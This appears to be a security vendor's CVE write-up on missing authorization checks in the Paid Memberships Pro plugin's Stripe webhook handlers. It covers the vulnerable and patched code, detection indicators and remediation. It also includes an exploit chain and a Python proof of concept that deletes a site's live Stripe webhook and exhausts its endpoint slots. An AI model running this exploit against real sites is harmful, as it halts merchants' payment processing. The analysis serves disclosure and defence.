home intel pmpro-stripe-webhook-missing-capability-check
CVE Analysis 2026-05-02 · 7 min read

CVE-2026-4100: Paid Memberships Pro Stripe Webhook Takeover via Missing Capability Checks

Missing capability checks on three AJAX handlers in Paid Memberships Pro ≤3.6.5 allow any authenticated subscriber to destroy or hijack Stripe webhook configuration, halting all payment processing.

#wordpress-plugin#privilege-escalation#stripe-integration#webhook-manipulation#access-control
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-4100 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-4100HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-4100 is a missing authorization vulnerability in Paid Memberships Pro (PMPro) ≤3.6.5, a WordPress plugin with over 100,000 active installs. Three AJAX action handlers responsible for managing the site's Stripe webhook endpoint are registered without any capability check, meaning any authenticated user — including a subscriber — can invoke them directly via wp-admin/admin-ajax.php. The practical impact is complete disruption of payment infrastructure: an attacker can delete the active webhook, register a replacement pointing to an attacker-controlled endpoint, or force a rebuild that resets configuration state, breaking subscription renewals, failed-payment dunning, and cancellation synchronization indefinitely.

Root cause: The wp_ajax_pmpro_stripe_create_webhook, wp_ajax_pmpro_stripe_delete_webhook, and wp_ajax_pmpro_stripe_rebuild_webhook handlers call check_ajax_referer() for CSRF protection but never call current_user_can(), allowing any authenticated session to perform privileged Stripe API operations.

Affected Component

The vulnerable logic lives in paid-memberships-pro/includes/stripe-webhook.php (and its AJAX registration counterpart in includes/ajax.php or equivalent). All three handler functions share the same structural flaw. The Stripe webhook subsystem manages a single registered endpoint in the Stripe API that receives asynchronous payment lifecycle events (invoice.payment_succeeded, customer.subscription.deleted, invoice.payment_failed, etc.).

Root Cause Analysis

WordPress AJAX handlers are registered via add_action('wp_ajax_{action}', $callback). The wp_ajax_ prefix guarantees the user is logged in, but imposes no role restriction. Proper privileged operations must additionally gate on current_user_can('manage_options') or an equivalent capability. The three handlers below omit this entirely.


// FILE: includes/ajax.php (reconstructed pseudocode, PMPro ≤3.6.5)

// Handler registration — fires for ANY logged-in user
add_action('wp_ajax_pmpro_stripe_create_webhook',  'pmpro_stripe_create_webhook_ajax');
add_action('wp_ajax_pmpro_stripe_delete_webhook',  'pmpro_stripe_delete_webhook_ajax');
add_action('wp_ajax_pmpro_stripe_rebuild_webhook', 'pmpro_stripe_rebuild_webhook_ajax');

// -------------------------------------------------------------------

function pmpro_stripe_delete_webhook_ajax() {
    // Validates nonce — prevents CSRF, NOT unauthorized access
    check_ajax_referer('pmpro_stripe_webhook', 'nonce');

    // BUG: missing capability check — current_user_can() never called
    // Any authenticated user (subscriber+) reaches the destructive path below

    $webhook_id = get_option('pmpro_stripe_webhook_id');  // stored webhook ID

    if (!empty($webhook_id)) {
        $stripe = new PMPro_Stripe_Client();
        $result = $stripe->webhookEndpoints->delete($webhook_id);  // live Stripe API call

        if ($result && $result->deleted) {
            delete_option('pmpro_stripe_webhook_id');
            delete_option('pmpro_stripe_webhook_secret');
            wp_send_json_success(['message' => 'Webhook deleted.']);
        }
    }

    wp_send_json_error(['message' => 'No webhook found.']);
}

// -------------------------------------------------------------------

function pmpro_stripe_create_webhook_ajax() {
    check_ajax_referer('pmpro_stripe_webhook', 'nonce');

    // BUG: missing capability check here as well

    $site_url   = get_site_url();
    $endpoint   = $site_url . '/?pmpro_stripe_webhook=1';
    $stripe     = new PMPro_Stripe_Client();

    $webhook = $stripe->webhookEndpoints->create([
        'url'            => $endpoint,
        'enabled_events' => pmpro_stripe_get_webhook_events(),
        'api_version'    => PMPRO_STRIPE_API_VERSION,
    ]);

    if ($webhook && !empty($webhook->secret)) {
        update_option('pmpro_stripe_webhook_id',     $webhook->id);
        update_option('pmpro_stripe_webhook_secret', $webhook->secret);
        wp_send_json_success(['webhook_id' => $webhook->id]);
    }

    wp_send_json_error();
}

// -------------------------------------------------------------------

function pmpro_stripe_rebuild_webhook_ajax() {
    check_ajax_referer('pmpro_stripe_webhook', 'nonce');

    // BUG: missing capability check — rebuild = delete + create, same impact

    pmpro_stripe_delete_webhook_ajax_internal();   // tears down existing config
    pmpro_stripe_create_webhook_ajax_internal();   // registers fresh endpoint
}

The nonce (pmpro_stripe_webhook) is embedded in the admin page markup and is also retrievable from any page that enqueues the relevant script bundle — a subscriber navigating to their account page receives it. The nonce satisfies only the anti-CSRF requirement; it carries no authorization semantics in WordPress core.

Exploitation Mechanics

Exploitation requires an attacker to hold any authenticated WordPress session. No elevated role is needed. A nonce must be obtained first, which is trivially available from page source or via a direct REST/AJAX nonce endpoint if the site exposes one.


EXPLOIT CHAIN — Stripe Webhook Destruction (Subscriber → Payment Outage):

1. Attacker registers a free subscriber account (or compromises any existing one).

2. Harvest the nonce by requesting any page that loads pmpro-stripe-admin scripts:
      GET /wp-admin/admin.php?page=pmpro-membershiplevels
      grep 'pmpro_stripe_webhook' response body
      → nonce = "d4f8e2a91c"

3. Send DELETE request to destroy the active webhook:
      POST /wp-admin/admin-ajax.php
      action=pmpro_stripe_delete_webhook&nonce=d4f8e2a91c
      → HTTP 200: {"success":true,"data":{"message":"Webhook deleted."}}
      → pmpro_stripe_webhook_id option cleared from wp_options
      → pmpro_stripe_webhook_secret option cleared from wp_options

4. Stripe now has no registered endpoint for this merchant.
   All async events (renewals, failures, cancellations) are silently dropped.

5. [Optional — interception variant]
   Attacker calls pmpro_stripe_create_webhook after modifying the target URL
   via a separate stored-settings vuln, or waits for admin to re-create the
   webhook and captures the new signing secret from a traffic intercept, since
   the secret is written to wp_options in plaintext.

6. [Optional — amplification]
   Loop DELETE → CREATE repeatedly to exhaust Stripe's webhook endpoint limit
   (currently 16 per account), permanently preventing legitimate webhook
   registration until Stripe support intervenes.

# Minimal PoC — CVE-2026-4100
# Requires: valid WordPress session cookie, nonce

import requests

TARGET   = "https://victim.example.com"
COOKIE   = {"wordpress_logged_in_abc123": "subscriber|...|..."}
NONCE    = "d4f8e2a91c"   # harvested from page source

AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"

# Step 1: delete active webhook
r = requests.post(AJAX_URL, cookies=COOKIE, data={
    "action": "pmpro_stripe_delete_webhook",
    "nonce":  NONCE,
})
print("[delete]", r.status_code, r.json())

# Step 2: optionally exhaust endpoint slots
for i in range(16):
    r = requests.post(AJAX_URL, cookies=COOKIE, data={
        "action": "pmpro_stripe_create_webhook",
        "nonce":  NONCE,
    })
    print(f"[create {i}]", r.status_code, r.json())

Memory Layout

This is a logic/authorization vulnerability with no memory corruption primitive. The relevant "state" is WordPress's wp_options table rather than heap memory. The following shows the database state transition that constitutes the attack impact.


wp_options TABLE STATE — BEFORE ATTACK:
┌─────────────────────────────┬─────────────────────────────────────────────┐
│ option_name                 │ option_value                                │
├─────────────────────────────┼─────────────────────────────────────────────┤
│ pmpro_stripe_webhook_id     │ we_1AbCdEfGhIjKlMnOpQrStUv                  │
│ pmpro_stripe_webhook_secret │ whsec_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx│
│ pmpro_stripeSecretKey       │ sk_live_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      │
└─────────────────────────────┴─────────────────────────────────────────────┘
  Stripe endpoint: ACTIVE  →  https://victim.example.com/?pmpro_stripe_webhook=1

wp_options TABLE STATE — AFTER DELETE (attacker, subscriber role):
┌─────────────────────────────┬─────────────────────────────────────────────┐
│ option_name                 │ option_value                                │
├─────────────────────────────┼─────────────────────────────────────────────┤
│ pmpro_stripe_webhook_id     │ (empty / deleted)                           │
│ pmpro_stripe_webhook_secret │ (empty / deleted)                           │
│ pmpro_stripeSecretKey       │ sk_live_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx      │
└─────────────────────────────┴─────────────────────────────────────────────┘
  Stripe endpoint: DELETED from Stripe API
  Effect: ALL subscription lifecycle events silently dropped by Stripe.
          Renewals not recorded. Cancellations not processed.
          Failed-payment retries not reflected in membership status.

wp_options TABLE STATE — AFTER EXHAUSTION (16x CREATE, attacker-controlled):
  Stripe account: 16 junk webhook endpoints registered (Stripe limit reached)
  Legitimate admin attempt to re-register: FAILS with Stripe API error 400
  Recovery path: manual Stripe dashboard cleanup required

Patch Analysis

The fix is a single-line capability gate inserted before any Stripe API call in each of the three handlers. The correct capability for plugin settings management in WordPress is manage_options, which maps to the Administrator role by default.


// BEFORE (vulnerable, PMPro ≤3.6.5):

function pmpro_stripe_delete_webhook_ajax() {
    check_ajax_referer('pmpro_stripe_webhook', 'nonce');
    // No capability check — any authenticated user proceeds

    $webhook_id = get_option('pmpro_stripe_webhook_id');
    $stripe     = new PMPro_Stripe_Client();
    $stripe->webhookEndpoints->delete($webhook_id);
    delete_option('pmpro_stripe_webhook_id');
    delete_option('pmpro_stripe_webhook_secret');
    wp_send_json_success();
}

// AFTER (patched, PMPro ≥3.6.6):

function pmpro_stripe_delete_webhook_ajax() {
    check_ajax_referer('pmpro_stripe_webhook', 'nonce');

    // FIX: capability check added — restricts to Administrator+
    if (!current_user_can('manage_options')) {
        wp_send_json_error(['message' => 'Insufficient permissions.'], 403);
        return;
    }

    $webhook_id = get_option('pmpro_stripe_webhook_id');
    $stripe     = new PMPro_Stripe_Client();
    $stripe->webhookEndpoints->delete($webhook_id);
    delete_option('pmpro_stripe_webhook_id');
    delete_option('pmpro_stripe_webhook_secret');
    wp_send_json_success();
}

// Same pattern applied identically to:
//   pmpro_stripe_create_webhook_ajax()
//   pmpro_stripe_rebuild_webhook_ajax()

Note that check_ajax_referer() is not removed — it remains necessary for CSRF protection. The fix adds authorization on top of authentication, which are orthogonal concerns. Sites using custom role configurations should verify that manage_options is appropriately restricted in their environment, as some role-management plugins grant it to non-admin tiers.

Detection and Indicators

Exploitation leaves a clear trail in server and Stripe logs:


NGINX/APACHE ACCESS LOG — indicators:
POST /wp-admin/admin-ajax.php action=pmpro_stripe_delete_webhook  [HTTP 200]
POST /wp-admin/admin-ajax.php action=pmpro_stripe_create_webhook  [HTTP 200]
  — Source IP inconsistent with administrative users
  — User-Agent may differ from known admin browsers
  — Requests in rapid succession (exhaustion attempt)

STRIPE DASHBOARD — indicators:
  Webhook endpoint deleted and re-created outside business hours
  Multiple webhook endpoints registered in short succession
  Webhook signing secret rotated without corresponding wp_options update

WORDPRESS DATABASE — forensic query:
  SELECT option_name, option_value, autoload
  FROM wp_options
  WHERE option_name IN (
    'pmpro_stripe_webhook_id',
    'pmpro_stripe_webhook_secret'
  );
  -- Empty values post-attack, or values not matching Stripe dashboard

WORDPRESS DEBUG LOG:
  [pmpro] Stripe webhook event received but signature verification failed
  -- Indicates secret mismatch after attacker rebuild

WAF rules should alert on unauthenticated or low-privilege POST requests to admin-ajax.php with action values matching pmpro_stripe_*_webhook. Stripe's own audit log (Developers → Events → Webhook Endpoints) will show the deletion event with the API key used.

Remediation

Update immediately to PMPro ≥3.6.6. If update is not immediately possible:

  • Add a mu-plugins shim that hooks the three AJAX actions with a higher priority and performs the capability check before the plugin's own callback fires.
  • Restrict /wp-admin/admin-ajax.php at the network/WAF layer to known administrative IP ranges as a temporary compensating control.
  • After patching, audit your Stripe dashboard for unexpected webhook endpoints and verify pmpro_stripe_webhook_id in wp_options matches the active endpoint in Stripe.
  • Rotate the Stripe webhook signing secret (pmpro_stripe_webhook_secret) if any period of unauthorized webhook access is confirmed.

This class of vulnerability — authentication without authorization on privileged AJAX handlers — is endemic in WordPress plugins. Any wp_ajax_ handler that modifies external service configuration, billing state, or site settings must gate on an appropriate capability. The WordPress Plugin Review Team's guidelines mandate this; however, enforcement is post-submission and reactive. Plugin consumers operating high-value e-commerce sites should audit AJAX handler registrations proactively using static analysis tools such as RIPS or phpcs-security-audit with WordPress-specific rulesets.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →